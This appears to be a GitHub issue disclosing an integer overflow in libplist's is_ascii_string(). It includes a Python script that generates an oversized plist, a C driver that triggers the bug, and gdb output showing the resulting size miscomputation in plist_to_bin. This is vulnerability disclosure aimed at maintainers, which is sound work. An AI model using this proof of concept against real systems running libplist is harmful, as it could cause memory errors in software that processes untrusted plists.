Skip to content

Integer overflow vulnerability in is_ascii_string() in src/bplist.c #285

@ylwango613

Description

@ylwango613

Description

The function is_ascii_string() in src/bplist.c contains an integer-overflow bug in its len parameter.
The function signature is:

static int is_ascii_string(char* s, int len)
{
    int ret = 1, i = 0;
    for(i = 0; i < len; i++)
    {
        if ( !isascii( s[i] ) )
        {
            ret = 0;
            break;
        }
    }
    return ret;
}

However, the caller passes data->length, whose type is unsigned int, into this function.
If data->length exceeds INT_MAX, it is implicitly converted from unsigned int to a signed int, causing the value to wrap into a negative integer.

This produces incorrect behavior: len becomes negative, the loop never executes, and the function incorrectly returns 1, indicating that the string is ASCII even when it is actually UTF-8 or other multibyte characters.

PoC

Python

def stream_write_with_chars(prefix, suffix, char, count, output_file):
    """
    Stream-write: prefix + repeating char + suffix.

    prefix (str)  : prefix string
    suffix (str)  : suffix string
    char (str)    : the character to repeat
    count (int)   : how many times to repeat the character
    output_file   : output file path
    """
    if not isinstance(count, int) or count < 0:
        raise ValueError("count must be non-negative")

    with open(output_file, 'w', encoding='utf-8') as f:
        f.write(prefix)

        chunk = 1024
        remaining = count
        while remaining > 0:
            size = min(remaining, chunk)
            f.write(char * size)
            remaining -= size

        f.write(suffix)

    print(f"Generated: prefix({len(prefix)}) + {count} chars + suffix({len(suffix)})")


prefix = '''
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<string>
'''
suffix = '''
</string>
</plist>
'''

stream_write_with_chars(
    prefix,
    suffix,
    char='一',                # Non-ASCII character
    count=715827883,         # Triggers integer overflow
    output_file="12.plist"
)

C driver

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>

int main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <input-plist-file>\n", argv[0]);
        return 1;
    }

    const char *filename = argv[1];
    FILE *fp = fopen(filename, "rb");
    if (!fp) {
        perror("fopen");
        return 1;
    }

    fseek(fp, 0, SEEK_END);
    size_t size = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    if (size == 0) {
        fprintf(stderr, "File is empty\n");
        fclose(fp);
        return 1;
    }

    char *buffer = malloc(size);
    if (!buffer) {
        perror("malloc");
        fclose(fp);
        return 1;
    }

    fread(buffer, 1, size, fp);
    fclose(fp);

    plist_t root = NULL;
    plist_format_t format = PLIST_FORMAT_BINARY;

    // Newer versions of libplist require passing a format argument
    plist_err_t err = plist_from_memory(
        buffer,
        (uint32_t)size,
        &root,
        &format
    );

    if (err != PLIST_ERR_SUCCESS) {
        fprintf(stderr, "Failed to parse plist: %d\n", err);
        free(buffer);
        return 1;
    }

    printf("Parsed, detected format = %d\n", format);

    char *bin = NULL;
    uint32_t bin_len = 0;

    plist_err_t err2 = plist_to_bin(root, &bin, &bin_len);

    if (err2 != PLIST_ERR_SUCCESS) {
        fprintf(stderr, "plist_to_bin failed: %d\n", err2);
        plist_free(root);
        free(buffer);
        return 1;
    }

    printf("Binary plist generated, size = %u bytes\n", bin_len);

    free(bin);
    plist_free(root);
    free(buffer);
    return 0;
}


/*
Compile example:

gcc -fsanitize=address,signed-integer-overflow parse_and_bin.c \
    -o parse_and_bin \
    -I/home/yuelinwang/lib/include \
    /home/yuelinwang/lib/lib/libplist-2.0.so \
    -Wl,-rpath,/home/yuelinwang/lib/lib
*/

Analyze

When running under gdb, we observe:

Breakpoint 3, is_ascii_string (s=0x7ffef35fb800 ..., len=-2147483641)
(gdb) p len
$4 = -2147483641

The loop exits immediately:

for (i = 0; i < len; i++)   // never entered

Thus:

ret = 1

is returned, meaning “ASCII string” even though the string contains only non-ASCII characters.

This leads the serializer to incorrectly follow:

req += data->length;

in plist_to_bin, instead of the correct:

req += data->length * 2;

causing an incorrect size computation.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions